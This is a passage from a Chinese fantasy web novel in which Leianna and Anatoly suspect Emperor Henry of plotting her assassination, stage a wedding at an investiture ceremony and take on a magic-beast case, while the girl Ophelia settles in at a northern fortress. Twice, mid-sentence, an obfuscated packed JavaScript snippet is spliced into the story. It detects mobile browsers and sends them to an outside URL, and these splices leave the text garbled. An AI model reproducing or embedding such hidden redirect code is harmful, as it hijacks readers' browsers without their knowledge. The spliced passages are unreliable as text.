“她能照顾好自己的,我之前和她聊过天,这孩子很聪明。” “是,她比同龄人机灵,但再天资聪颖也是个十岁的孩子……” “别太担心了,去泰西防线的路上有娜塔莉娅护送,那可是我们防御团的顶尖骑士,一定安全,去了泰西防线后,海姆心思细腻,一定能够照顾好她的,多给我们一点信任吧。” 他安慰道。 “我知道,我没有不信任你们,我只是担心……早知道就不带她去布鲁城了,我真是个糟糕的监护人。” “这又不是你的错…” 阿纳托利没说完,突然顿住了。 他忽略了一件事。 莱安娜是如此在意奥菲莉亚,那为什么收养奥菲莉亚时会对自己的家族只字未提呢?那时候文森特并未过世,如果他们还和过去一样亲密无间,以莱安娜的性格不可能不带奥菲莉亚回艾夫忒宁本家。 她和文森特的关系在那段时间一定出了很大的问题,但如果文森特和她关系破裂,为什么愿意指定她为家族的共同管理人?与她共分家主权限?为什么会把魔法师制造计划这种绝对保密的计划告知莱安娜?文森特到底是怎么死的? 他怀疑地看着莱安娜,诸多猜想在他心中成形,但正沉浸在思念之中的莱安娜没有察觉到对方的异常。 “奥菲莉亚从来没有去过北方,不知道她能不能适应,对了,你说的海姆那个人怎么样?” “海姆……很可靠。” 他机械地回答,莱安娜抬眸看到他游离的眼神,发觉了他的心不在焉。 “怎么了,阿纳托利?今天和教皇他们的对话不顺利?” 她担忧地看着他。 阿纳托利定了定神,此时直接问,莱安娜不一定会给自己答案,文森特的事情只能见机行事加上自己调查。当前,还是先处理眼前的问题。 “教皇那边的任务有超出预期的部分,防御司要先调查魔兽袭击供能核心的事件。” “嗯?按理来说交给防御司的第一件任务不应该是这么简单的差事。” “对,我也很意外,而且让我意外的事不止这一件,亨利皇帝明明很年轻吧?怎么会这么棘手?” “可不能因为年纪小看对方,论心计圣都九成的人应该都玩不过他。” 莱安娜苦笑道。 “不过他此时和我们倒是没什么冲突,应该也愿意顺水推舟。” 她说着却仍不觉皱起眉头。 “这倒是没错,亨利想要拉拢我,甚至将我和伊莉雅的矛盾放在了明面上,他想给我爵位和姓氏。” “不知道该说他激进还是果断呢。” 如果阿纳托利是一个野心勃勃的人,那亨利这招相当高明。 作为英雄的阿纳托利被皇帝给予了应有的荣耀,经过宣传可以显示皇帝的赏罚分明,同时也是在切割阿纳托利和伊莉雅的联系,如果未来北方需要重新洗牌,阿纳托利就是亨利推出去斗争的最佳人选。 想到此处,莱安娜的眉头皱得更深了。 “你怎么回应的?这可是要拿你当枪使。” “我拒绝了。” 但莱安娜忧虑的神色不改。 “拒绝得太干脆恐怕不是上策,亨利开出的筹码是当前他能做到的极限了,一旦拒绝可能会判断你不是一位可以拉拢的对象,还是虚与委蛇更加稳妥……” “别担心,我拒绝后马上提出了请他主婚的请求。” 阿纳托利狡猾地笑了笑,抬眸看着莱安娜,像是在等待夸奖一般。 “呵,你倒是挺会找时机的。” 莱安娜总算舒展了眉头。 主动索要一般的赏赐既不会让亨利产生“阿纳托利油盐不进”的想法,也不会让亨利觉得对方野心过大,还能很稳妥地借亨利的手让自己和阿纳托利的结婚更加名正言顺。 “既然听上去如此顺利,那还有什么问题?” 莱安娜放松地靠在了椅背上。 “需要辛苦你明天核对一下这些资料。” 他一边说着,一边从口袋里拿出了誊录资料的目录清单。 莱安娜接过扫了几眼。 “这些是我过去提交到联合会议的应对魔兽潮方案,我明天就可以核对,本来还以为要重新写个大概呢,看来不用这么麻烦了……” 她哭笑不得地敲了敲桌前未完工的稿纸。 “但我的住处应该已经被查封,这份清单目录你是从……” “是亨利给我的,他备份了你当主教时候的所有文件。” 莱安娜脸上的笑容一僵。 “我曾听说过你担任过他的魔法老师一职,后面这个岗位由维克多代劳,你们之间似乎有不小的矛盾,但现在看来,你在他眼里恐怕地位相当特殊?” 虽然阿纳托利语气很温和,但莱安娜当然清楚这个问题有多微妙。 “你想问什么?阿纳托利。” “我得到的情报是你们二人早已决裂,但为什么他仍会有如此行为,你们二人关系究竟如何?” “保留资料可能也只是为了方便自己研究魔兽潮问题。” “你自己看目录。” 阿纳托利指了指那张誊写稿。 “魔兽潮早在四年前爆发,东区的方案也并非全由你提交,他却唯独备份了你经手过的资料。” “……” 莱安娜听到此处表情却从疑惑变成了不可置信, “你说他备份了只有我负责的资料?其他神官负责的资料是一点都没备份吗?” 她目光突然变得锐利起来。 “是的。” 莱安娜随即摇了摇头,自言自语道 “不,他竟然……他怎么……” 阿纳托利对她的反应倒是一头雾水。 “莱安娜你不必否认,他对你格外上心是明摆着的事情,当年你拒绝在他的魔法师资格的记录上署名可是闹得沸沸扬扬,你让他如此难堪,他竟然还能珍藏你的手稿,对你如此敬重,说不定之后可以和他合作调查你在布鲁城遇袭的事情。” “你觉得这是敬重?” “对啊。” “你问我和他什么关系只是为了看是否可能合作调查?” “当然。” 阿纳托利面不改色,但仍有些心虚,自己除了这个原因其实还有更多私心…… “居然还想和他合作啊……你没有明白他有备份资料这件事情意味着什么吗?” 阿纳托利一脸茫然。 “唉,阿纳托利你一直都很聪明,怎么现在没有反应过来呢?” 莱安娜叹了口气,阿纳托利仍然一头雾水。看他这副模样,莱安娜有些恨铁不成钢。 “你怎么还不明白!布鲁城的暗杀主谋不止维斯特利亚一人,亨利应该也参与其中,甚至有可能他向维斯特利亚提的建议……” 她疲惫地闭上了眼睛,继续说道。 “平定魔兽潮不同于其他事务,如此紧急棘手的工作容不得半点空隙,如果能将我死前负责的魔兽潮工作全部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046871|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整理归档,后来人就能更快接手,这才是他备份的目的!如果他是想研究魔兽潮,那为何其他神官的资料毫不记录?如果是对我这个老师念及旧情,为什么只包含魔兽潮领域呢,我处理的可不止剿灭魔兽这一个领域的事情……” “但他杀你的动机是什么?” “这个比较复杂,简而言之,我们对于魔法未来的规划想法不同,以及对于神明的态度不同……” “他虽说城府深,但不是没有容人之量,只是不同意见不至于赶尽杀绝。” “我也原本以为他还会想办法劝我呢?或者其他方法来改变我,限制我……我唯独没有想到他会选择杀了我,还真是最有效的一条路……他太了解我了,确认了我不会改变想法…” 她回忆起很多细节,继续说道。 “难怪之前他会和维斯特利亚联合调查我在圣都遇袭的案件,恐怕那时候二人就已经在做准备了,这才是维斯特利亚力保你成为防御司司长的原因,让你来填补我的缺位,之后在我前往布鲁城前夕来找我示好就是最后通牒……” 莱安娜扶额喃喃自语。 她想起了那天晚上隔着马车窗户,亨利带着诚恳的笑容,温和地说: “如果某天您在教会感到孤立无援,王庭恭候您的辅佐……我们最后同行一次吧,我保证不谈公事……至少我的关心从来不是假的……” 而自己是怎么回答的呢。 “此后路程你我不必同往。” “那是最后通牒,而我的拒绝让他彻底动了杀心吧。” 她一边想一边长叹了一口气,突然觉得手背一暖,一抬眸,阿纳托利握住了她的手。 “你想要我帮你做什么?” 他的语气极尽柔和,莱安娜知道他想安慰自己。 “没事,我没有难过。是我太傲慢了,我早知道他的性子,挡了他路的他一向竭尽拉拢,拉拢不了的一定会想办法赶尽杀绝,我为什么会觉得他会对我有所不同呢?是我咎由自取。” 她自嘲般笑了笑。 “我听说你在圣都的联合会议上也曾经遭到了一次刺杀,受了重伤,那次的莫非也是……” “不,那次不是他,我确定。” “怎么这时候不怀疑他了?还是说你已经有了其他猜想?” 莱安娜倒是很意外阿纳托利会提起自己之前那次受伤。 “那时候我可是魔力充沛的状态,亨利怎么可能突破我的防御,所以那次不是他。” “那维克多呢?论战力我只能想到他。” “也不是他,虽然不太愿意承认,那次他其实……是想救我的,他抱我去了阿萨特主教那里治疗。” 阿纳托利若有所思。 “那这事也很有调查的必要……” “不用了吧,阿纳托利,一来我们已经没有功夫操心之前的事情了,二来女神说了不会再发生第二次了,她既然已经预言了,我们不必浪费时间。” 她一边说着一边笑着回握了阿纳托利的手。 阿纳托利看着对方满含笑意的眼眸,他知道对方又有事瞒着他。 “确实不用担心,在你恢复主教身份之前我一定会保护你的安全,你先安心养伤,而且你说的对,我们现在暂时没有时间去调查之前的事,还有更着急的事要处理。” 他顺着对方的话说,但已经下定决心要自己偷偷查个彻底。 “对,当务之急不是调查过去的事,是处理好东区的魔兽潮,你放心明天我就会核对好那些资料……” “莱安娜,更着急的事情不是这件。” “啊?还有什么事?” “你忘记啦?咱们要办婚礼……” “我以为结婚的意思是走个形式,在你授勋仪式上由亨利宣布一下,之后手续齐了有法律效力就好,不必办正式婚礼吧……” “办,当然要办,为什么不办?” 他一本正经地看着莱安娜。 “这会更加正式,你也能借这个机会当着圣都所有同事的面,得到皇帝认证的新身份,之后谁会怀疑你是莱安娜主教?” “你对我用的面容魔法已经让我面目全非了,没这个必要吧?” 莱安娜觉得有些多此一举,自己早晚会恢复身份,那此时婚礼搞得越正式,阿纳托利到时候不会觉得越尴尬吗?” “那个面容魔法虽然可以改变人的五官和声音,但改变不了人的神情和气质,哪怕你已经改头换面,熟悉你的人还是有可能认出来……所以有皇帝的身份认证还是有必要的。” “婚礼在多久?” “还有时间,后天。” “还有时间就好,我可以先看……” 她不可置信地抬头。 “你说多久?” 52. 授勋仪式 授勋仪式如期举行,一切都很顺利。 北方英雄跪于教皇身前,维斯特利亚给他带上了用橄榄和月桂编制成的草环。 “阿纳托利·弗洛斯特,驻守泰西防线,为帝国和平贡献良多,愿你在女神的指引下,继续履行自己的职责。” 维斯特利亚说罢,继续为他戴上了一枚荣誉勋章。 阿纳托利今日穿上了一身极其正式白色的礼服,胸前那枚华丽的奖章和翻领上别着的茵挪蔷薇相得益彰,而他本人一改传闻中的内敛沉闷,从他露面时就一直眼含笑意,满面春风。 “这位团长看着不像传闻中那样严肃呢。” 一位神官和自己的同僚窃窃私语。 “也可以理解,再怎么严肃的人,这时候总不可能板着个脸吧,这可是他的婚礼诶。” 他的同事回答道。 “婚礼?” “你没认真看邀请函吧,你个糊涂鬼,阿纳托利团长将自己的婚礼和授勋仪式放在同一天了。” “天呀,可真是浪漫,他的爱人是谁?” “打开你的邀请函自己看啊!那位小姐叫阿琳娜·彼得诺夫娜,据说是北地的平民,和阿纳托利团长相爱多年……先不说了,乐队在换曲目,婚礼要开始了,快看!” 门缓缓打开,阿琳娜挽着主婚人的手走进大厅,众人无比惊讶。 主婚人竟然是亨利! 只见亨利身着黑色礼服,带着这位新娘缓步前进。阿琳娜身着北地传统的白色长裙,这种长裙并不需要裙撑,自然垂下,简洁而优雅,裙摆前短后长,后摆宛如泼洒开的浪花一般。她戴着好几层复杂精美的头纱,众人看不清她的面容,只能隐约看见轮廓。 她捧着由蔷薇和向日葵制成的捧花走向阿纳托利。 “阿琳娜小姐紧张吗?您走得有些慢。” 亨利低声询问道。 “嗯。” “别担心阿琳娜小姐,阿纳托利司长深爱着您,否则也不会请求我来作主婚人,他想给你一个没有遗憾的婚礼。” “感谢您的恩典。” “不必言谢。” 亨利的语气更加柔和。 说来也奇怪,自己对阿纳托利有莫名的恶意,但是今天在准备室看见这位阿琳娜小姐的时候,却意外地觉得亲近和熟悉,因此在这个过程中也不自觉地格外耐心。 阿琳娜走到了阿纳托利面前,亨利将这位小姐的手交给了阿纳托利,随后开始说作为主婚人的祝福,在这之后由神职人员送上祝福,再进行后续程序。 送上祝福的是西尔维亚主教,由主教来送上女神的祝福已经是顶级规格了。 教皇的祝福只能出现在国婚上,否则亨利估摸着阿纳托利高低也要去把维斯特利亚绑过来。 祝福仪式结束后,亨利作为主婚人继续主持婚礼。 “阿纳托利·弗洛斯特,你是否愿意在女神的见证下,和这位女士永不分离,无论灾难、疾病、贫穷、富有,连生死也无法让二位分开。” “我愿意。” “阿琳娜·彼得诺夫娜,你是否愿意在女神的见证下,和这位先生永不分离,无论灾难、疾病、贫穷、富有,连生死也无法让二位分开。” “我愿意。” “好的,新郎可以揭开新娘的头纱了。” 阿纳托利在话音落下后,用双手轻柔地挑起垂至半身的头纱,白纱层层叠叠,阿琳娜的面容在一层层纱被挑开后愈发清晰,最终完全展现在众人的面前。 在观礼人群中也不乏有莱安娜曾经的同事,其中坐在前排眼睛锐利点的已经察觉到了。 “你觉不觉得……阿琳娜小姐有点眼熟。” “是有那么一点,但是像谁呢?” “我也说不上来,但就是感觉有点眼熟……” 有的人窃窃私语道。 主持仪式的亨利离二人最近,从还有两层纱的时候他就已经在怀疑了。 直至面纱被全部揭开。 不是形似而是神似。 阿琳娜的五官和莱安娜似乎没有半分关系,但是眉眼间的神情和莱安娜太像了。 亨利一时没缓过神来。 阿纳托利已经在进行最后一个流程了。他朝阿琳娜走近一步,珍重地托起阿琳娜的双手,分别在两只手上落下一吻。 “诶,竟然是吻手礼吗。” 一位政务官有些失望地感叹。 “也符合北地的传统,他们过去的婚礼采自骑士礼仪,丈夫像骑士那样吻手,代表着对妻子的忠诚,而妻子会交给丈夫一柄剑,象征着对丈夫的信任。” “嗯,感觉是另一种风格的浪漫呢,但是······还是好遗憾啊,这么保守,我是来看结婚的又不是看册封骑士的。” 说罢这位政务官惋惜地叹了口气,然后一旁的朋友急忙给了他一个肘击。 “女神在上,你快看!” 阿纳托利在吻手礼结束之后,轻轻放下了对方的手,目光朝亨利那边游离,准备示意对方可以宣布结束流程了。 但就在这个时候,阿琳娜小姐一把拉住了他的手,踮起了脚尖,轻柔地吻上了对方。 这个吻相当短暂,如浮光掠影一般。 阿纳托利僵在了原地几秒钟,随后极快地朝阿琳娜凑近,俯身低头,仿佛得到首肯一般,果断地吻上了对方。 亨利的大脑一片空白,只有一片欢闹声中,阿琳娜和阿纳托利二人吻在了一块儿的画面,在其缠绵悱恻的拥吻后,亨利机械地宣布了二人结为夫妻,然后平静地入席就坐。 亨利很想立刻离开这个地方,但是此时离去显然不太合适,因此他按着自己在桌前又坐了一个钟头。 亨利不记得自己在入席后的一个钟头是怎么应付其他人的问候的,等时间差不多后他才起身向阿纳托利示意。 “陛下要离开了?” 阿纳托利起身相送,亨利总觉得这人现在有些刺眼。 “对,安东尼奥提醒我了,今天晚上还有点事需要处理,虽然不能和您一醉方休,但是今天完整地看了二位的婚礼,也不算遗憾了。” 他挤出了温和有礼的笑容,继续说道: “二位的爱情可真让我羡慕。” “虽然我的爱情确实美好,但陛下也不必羡慕,您还很年轻,一定能遇到心上人的。” “······” 阿纳托利注意提到了亨利的眉毛微微皱了一下,但只有一瞬间。 “我没说错什么吧?”他在心里嘀咕着。 亨利微笑着顿了两秒。 “我先走了,和司长您聊天很愉快,期待我们下次见面,也预祝您任务顺利。” “恭送陛下。” 而在亨利离开后不久,宴会也结束了,他们似乎顺利度过了来到圣都的第一关。 二人回到宅邸后却仍然无法休息,阿纳托利明天就需要去详谈核心区的魔兽问题,还要远程调度东部魔兽潮。教皇派人送来了核心区的卷宗,必须得在开会前了解清楚,还要抓紧时间熟悉东部魔兽潮布防以及魔兽特性。 要在短时间完全熟悉三摞东区资料显然不太现实,但好在有莱安娜帮助筛出重点,而他今晚的重点工作是好好记住核心区的卷宗。 他看了一会儿后抬头看着坐在对面奋笔疾书的莱安娜,突然有种别样的情绪涌上心头。 婚礼非常仓促,莱安娜最近一直忙着核对东部的信息,婚礼的事宜全部丢给了他和马克西姆,流程细节二人都没有对过,直到亨利宣布可以揭开面纱时,二人才不约而同地想起来还有接吻这一茬。 似乎是个非常合理的机会,但阿纳托利总觉得这样不太妥当。 他并不能确定莱安娜的心意,如果莱安娜其实对他并没有那种感情,自己借着演戏的名义做了真正想做的事情,会不会有些无耻? 好在北方传统的一种仪式借鉴了骑士授位中的吻手礼,非常有分寸,不会冒犯莱安娜,也不会让观礼的其他人怀疑。 他自认为非常完美地度过了这个难关,正在用目光示意亨利走下一个流程时,莱安娜却贴了上来,她踮起脚尖,主动给了自己一个蜻蜓点水的吻。 像是一把钥匙,打开了心底隐秘的欲望,又像是一个无声的许诺,提前宽恕了之后所有的放肆。 他的脑袋一片空白,等恢复理智的时候他们二人已经拥吻了良久。 “莱安娜为什么要主动给我那个吻?” 这个问题在他脑子里盘旋了一整天。 是为了让他们传闻中的爱情故事更加动人,还是为了取信来观礼的其他宾客? “莱安娜会不会……其实……也…” 他的心里隐约有了另一种期待,像是枯死的草突然开始蓬勃生长。 阿纳托利很想直接问眼前这个人。 “你为什么今天要吻我?” “你是不是其实也是喜欢我的?” 他心情复杂,连案卷都快看不下去了,心不在焉的状态很快被莱安娜发现。 她一支笔直戳阿纳托利脑门。 “发什么呆,还不快看,明天就要去会议上协商此事,你可是只有一个晚上的时间,而且接到正式调令之前你必须熟悉好东区的所有布防和魔兽特性。” 她一如既往地冷静严肃,跟个没事人一样。 早上那个吻困住的仿佛只有阿纳托利自己。看到莱安娜如此没心没肺的表现,那种酸涩的委屈又让阿纳托利心口沉甸甸的,不禁在心里苦笑,随后打消了刚才的想法。 “我又在自作多情吧。” 他定了定神,重新打起精神,看起了卷宗。 等到凌晨四点半的时候,他才大概捋清楚所有的信息,将卷宗放在了一边。 案情并不算复杂。资料之所以如此繁多混乱是因为这个案件在前期并没有受到重视,阿纳托利确认事实花费了一些功夫。 简而言之,过去一段时间里,圣都附近不知道哪里冒出来了魔兽,其主要活动在贫民窟和地脉作业区,有不少平民和工人失踪了。目前安全部确认这些人都已经命丧魔兽之口。 工人、贫民失踪案并没有引起安全部的重视,大家都默契地选择了点到即止,毕竟在自己负责的区域出现治安事件并不是什么光彩事。至于那些贫民,谁会去在意他们的生死? 直到某日清晨有人,平民窟的娱乐场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046872|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所外出现了一具血肉模糊的尸体。调查员在检查了随身物品后,发现被害人是子爵的儿子查理,调查确认其死于魔兽之口,这类案件才开始得到重视。 而后,在地脉作业的新案件中又意外发现这只魔兽不仅速度极快,还有隐匿的魔法,神出鬼没…… “奇怪,总体来说这个案件并不棘手,维斯特利亚为什么会把它作为防御司的第一个任务?” 他正闭着眼睛思考,耳边响起了询问声: “你看上去有些苦恼,案子有什么蹊跷的地方?” 阿纳托利便和莱安娜坦言了案情和自己的困惑。 莱安娜闻言后皱起眉来:“这个案件如此受重视,应该不只是因为子爵长子查理遇害。查理遇害后安全部的调查员立刻跟进了此案,卷宗里有他们的调查报告,但案件结果已经写了死于魔兽,虽然贵族们有提出抗议声明,但案件在程序上已经结束。所以这个案子现在备受重视绝对不会是因为死了一个贵族。” “那还有什么原因让他们重新引起了重视?”阿纳托利不太理解。 莱安娜:“在查理死后,又有几起地脉作业的新案件。供能区的一次骚动里这只魔兽暴露了隐匿的特性,这才再次引起教皇重视。维斯特利亚一直希望能够研制出隐匿作用的魔导器或者咒术,自然需要抓这种稀有的魔兽提供研究样本。” 阿纳托利:“那就不只是杀掉魔兽了,需要抓活的,生擒魔兽和杀掉魔兽的难度不是一个量级。” 莱安娜点了点头,接着说: “但这还不是最麻烦的一点。比起完成任务,你更需要重视案件背后的利害关系。这个案件过去安全部没能解决。如果你调查成功,无异于是在打安全部的脸,安全部早被亨利收入麾下,维斯特利亚存了防止你和亨利走太近的心思。如果你调查失败,维斯特利亚还能启动神使团网格化清洗供能区,不仅可以抓到魔兽,还可以加强她的权威了,说不定还能借机侵吞防御司和安全部的职能。” “在圣都做事简直像戴着手铐脚镣一边舞剑一边走钢丝。”他苦笑着。 “习惯一下吧,你现在就是最好用的刀,人人都想借一下,所以我们的行动必须小心谨慎。” 莱安娜有些疲惫地揉了揉自己的眼睛。 “明早的会议我和你一起去。” 阿纳托利知道这是要插手此事的信号,警觉地抬起头: “你想要全程参与此事?但这件事需要去现场调查,万一有意外需要战斗呢?你还没有痊愈……” “你身边并没有了解圣都现状的人,我的确可以待在防御司帮你分析,但那样太慢了,你自己也是指挥官,应该知道时机转瞬即逝,全程跟进才能最快应对。” 莱安娜观察阿纳托利的神色,他显然并不赞同,满脸写着反对,但沉默着没有开口反驳。 “我知道你担心调查过程中我可能不安全,虽然我现在没有办法使用魔法,但我剑术可没有退步。” “以你现在的身体状况,哪怕剑术再精湛也是空架子。”阿纳托利没好气地抱怨道。 “你觉得我不切实际?你觉得我是毫无自保能力的人?” 莱安娜不满地瞪了他一眼,正准备继续反驳,阿纳托利话锋一转: “不,你的建议很客观,我很需要你的帮助,但莱安娜,我没法不考虑你的安全问题……你可以参与调查,但得和我一起行动。” 他说完小心地抬头看了莱安娜一眼又很快把头低了下去。阿纳托利既然松了口,还这么一副可怜兮兮的样,莱安娜也不好再讨价还价了。 “行,我答应你。”她点了点头,继续问道:“我的职位是什么?” “你现在不能使用魔法、也没法战斗。伪造的阿琳娜身份中并没有深造的经历,参谋或副官也不合适……你觉得翻译和记录员怎么样?你会古语。” “古语虽然有难度,但帝国范围内自学语言的学者倒也不在少数,这倒是没有什么不妥。”莱安娜点了点头。 “你准备给我开多少薪水?”她相当认真地盯着阿纳托利。 原本熬夜熬得头昏脑胀的阿纳托利瞬间清醒了。 “啊?” “那么惊讶干嘛?你知道这些工作有多棘手吗?这个工作强度和难度司长大人不会还想免费吧?” 她说这话的时候笑意盈盈,但阿纳托利脑子却陷入了混乱。自己有权力给主教发工资嘛?莱安娜是不是其实在开玩笑?但工作确实也很辛苦?这个工资是走弗洛斯特账户?还是防御司账户? 终于在经历了激烈的心理斗争后,他才小心翼翼地开口: “抱歉莱安娜,我感觉走防御司账户会超支,弗洛斯特的账户也不太合适,而且容易泄漏信息,所以你的工资就从泰西防线的经费里划,只要你有需要可以找列昂尼德……” 他正认真地解释呢,对方却摆了摆手,让他住嘴。 “你真无趣,阿纳托利。” 莱安娜兴致缺缺地白了他一眼,起身准备离开房间。 “三小时后再见了。” 她说着就带上了门,剩阿纳托利一脸困惑地留在房内。 “所以到底走哪个账户?” 53. 再遇同伴 在阿纳托利抵达圣都开始查案的时候,奥菲莉亚和娜塔莉娅的路程已经过去了快一半。 等娜塔莉娅带着奥菲莉亚赶到泰西防线的时候,天空还飞舞着鹅毛大雪,像是要把整个世界淹没。 “把雪抖干净,不然进室内弄得脏兮兮的,会增加清洁人员的工作量。”娜塔莉娅低头提醒着奥菲莉亚。 “好的,娜塔莉娅小姐。” 奥菲莉亚乖巧地照办,同时抬头看那奇怪而诡异的闸门。 “新来了监视官,你一定要小心应对,还记得新身份吗?” “嗯,我是阿琳娜小姐的妹妹,我的姐姐和阿纳托利多年前在圣都相识,后来我姐姐返回家乡。最近遭遇魔兽潮时,阿纳托利及时出现,二人再续前缘,因为我家已在魔兽潮中被摧毁,所以司长大人好心让我来泰西防线暂住,他承诺在圣都局势稳定后会接我过去。” “不错。”娜塔莉娅点了点头。“如果遇到了监视官,就装得怕生一些,他问你棘手的问题就不回答、流眼泪、不说话,总之糊弄过去。” “我明白。” 闸门缓缓打开,卷起气流,奥菲莉亚牵着娜塔莉娅的手进入了泰西防线。 沿路一直有零零散散地人笑着给娜塔莉娅打招呼,同时好奇的目光落到了奥菲莉亚的身上。 奥菲莉亚不讨厌这里,她能感受到周围的情绪是很平和的,不带恶意的,像是很干净的水。相比之下,圣都那些人的情绪简直像脏水坑。 娜塔莉娅带着她先去办理了登记程序,海姆听说娜塔莉娅回来了,也来到了登记室。 “好久不见,加班女王。”他那双湖蓝色的眼睛饱含嘲讽。 “再多说一个字,我实战赛的时候就撕烂你的嘴。”她白了对方一眼,同时手上飞速地帮奥菲莉亚填写好了各种资料表格。 “别这么大火气,让小朋友见了多不好。”他的目光落到了奥菲莉亚身上。 “你好呀,我是海姆,泰西防线的临时负责人,你之后的老大。” “您好,我叫奥菲莉亚。” 填完结束的娜塔莉娅把一堆表格一把塞给了海姆,她力气应该很大,奥菲莉亚分明见海姆挨了一下之后,眉毛都扭了起来。 “我的任务完成了,把人看好,务必小心。” “放心,能出什么事儿?”他语气轻飘飘的,但娜塔莉娅了解这家伙,虽然欠揍,但事情总办得滴水不漏的。 她蹲下身牵上了奥菲莉亚的手:“我明天就得回圣都了,之后你自己小心,有什么就找这个叔叔,他是我们信赖的同伴,他会帮你……” “是大哥哥。”海姆纠正道。 娜塔莉娅深吸一口气,懒得同这家伙掰扯,继续说:“平时记得隐藏起魔力;如果要写信也交给这个大哥哥,信里哪些东西不能写阿琳娜夫人应该已经和你强调过了。” “对,我都记得。”奥菲莉亚点了点头。 “好孩子。”娜塔莉娅摸了摸她的脑袋,如果不是亲眼所见,很难想象一个孩子能懂事到这种程度。 “娜塔莉娅姐姐,还有一件事需要麻烦你们,露比姐姐的学生也在这里,我怕穿帮。” “不必担心,我之后会和海姆商量此事,他会去通知的。”娜塔莉娅承诺道。 而一旁的海姆朝奥菲莉亚友善地眨了眨眼睛。 随后奥菲莉亚便被工作人员带去了自己的房间,登记室内只剩下了海姆和娜塔莉娅。 海姆悠哉悠哉地找了把椅子瘫下: “说吧,阿纳托利为什么突然要结婚了?还把未婚妻的妹妹送到了泰西防线?别说伊莉雅公爵被吓一跳,连我都大吃一惊,我还以为那家伙这辈子只能孤独终老了。” “不是真的结婚,这是一场合作。” 娜塔莉娅随后给海姆讲了前因后果。 “我怎么觉得他想重走叶夫根尼的老路呢?”他有些不可置信地摸了摸下巴。 “他堕落了。” “算了吧,阿纳托利木头一样的人你指望他去当未来教皇的情人?”娜塔莉娅都快笑出声来,“出于对我长官浪漫细胞的了解,我觉得他不可能复制叶夫根尼的成功。” 海姆不置可否,只是笑了笑,娜塔莉娅继续问了起来: “倒是你,叶夫根尼有没有为难你?”娜塔莉娅关心道。 “别担心,我可是软骨头,不像斯捷潘。他被派走是因为违抗公爵的指令,伊莉雅公爵希望能把教廷那两学生软禁起来。斯捷潘执意让他俩参与具体工作,这不就触了霉头吗?” “你怎么也不劝劝?”娜塔莉娅说着剥起了桌上的栗子。 “斯捷潘什么性子,你第一天知道?他早看叶夫根尼不爽了,去年的融雪荣誉勋章本来该追授给他老师——洛林魔法师,那可是在猎杀克拉肯魔兽时立下了汗马功劳的英烈,谁曾想落到了叶夫根尼这无功无绩之人手里。” “没办法,他可是伊莉雅公爵心尖上的人。” “所以啊,哪里是我没劝,斯捷潘没有一纸辞呈连带着骂人公文直递斯诺兰德会议厅全是我的功劳,我已经使劲浑身解数了好吧!”他诚恳地把手放在胸口。 “唉,你小心行事,再坚持坚持,如果我们在圣都的计划顺利,到时候会派人接你来南方过好日子的。”娜塔莉娅开起了玩笑。 “你们先活着再说吧,谁知道我们两边谁先死呢?”海姆苦笑道,随后就被扔过来的板栗砸了头。 “闭嘴,真晦气!” …… 奥菲莉亚洗漱完毕后准备休息,随即听到了阵阵轻缓的敲门声。 她开门看去,是亚瑟和罗杰。 “我们听海姆长官说了,来和你商量下之后要注意的事。”罗杰简明扼要地说。 “还给你带了食堂的蛋糕。”亚瑟扒在门边朝笑了笑。 奥菲莉亚把他们放了进来,三人快速交流后,明白了之后得装作刚认识才行。 倒是不用担心穿帮,奥菲莉亚因为年纪小几乎不用出任务,而海姆有意照顾这孩子,安排她待在了泰西防线的书库,帮忙整理书籍、空余时间就好好学习。 书库和亚瑟他们待的完全是两个地方,几乎连照面都打不上,他们也只能每天在休息区碰个面。 海姆给了她一个冗长的书单,还有公立学校这个年纪要考的题目。 “如果有不懂的,记下来,七点后可以来问我。”海姆承诺道。 但奥菲莉亚实在不太好意思去打扰海姆,只能晚上去找罗杰帮忙了,她不知道自己在泰西防线待多久,要是什么都不学,等回到了圣都,变成亚瑟那样的笨蛋该怎么办? 也只能硬着头皮学下去。 她才来两天,却觉得像是过了两年。这里的人都很好,没有朋友也没有家人。 她的世界本来就不大,教会提供的小屋、莱安娜工作的神 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一眼看过去会注意到那双淡紫色的眼睛,他双目低垂,眼神十分柔和。 维克多貌美,但着实可恶。在圣都遇到太多这样的人,奥菲莉亚早就免疫了一般的外表光环,但此刻不由得屏息凝神,接受了前所未有的美貌冲击。 “怎么呆住了?”那人笑着走了过来,递了张帕子给她。 奥菲莉亚接过帕子,看着上面白鸽和玫瑰的刺绣,她舍不得拿这东西擦脸。 “抱歉,您您很好看,我刚才在看您。”奥菲莉亚断断续续地说。 “谢谢你夸我,但你为什么哭呢?你的家人在这里吗?”他的语气仍然非常柔和,这是奥菲莉亚来这里这些天,第一个问她想法的人。 “我的家人不在这里……我想……”就在她眼泪都在打转,想要倾吐思念时她顿住了。 虽然情绪上涌,但残存的理智拉响了警报。她的情感感知在警告她: 眼前的人语气是这样温柔,但情绪简直就像钢铁一样,没有起伏。他没有看上去那样友善。 她把头低了下去不再说话,多说多错。 “你是谁的孩子?我从未见过你,需要我帮你找人过来吗?”他温和地伸出手去摸奥菲莉亚的脑袋,这孩子却退了一步,有些戒备地看着他。 叶夫根尼很是意外,他收回了手。 “谢谢您关心我,但我现在有点难过,能让我一个人待一会儿吗?拜托你了。” 叶夫根尼瞧着那双挤满泪水的眼睛,只能朝她微笑,然后礼貌地转身离去,他准备去问问海姆是否知道这孩子的来历。 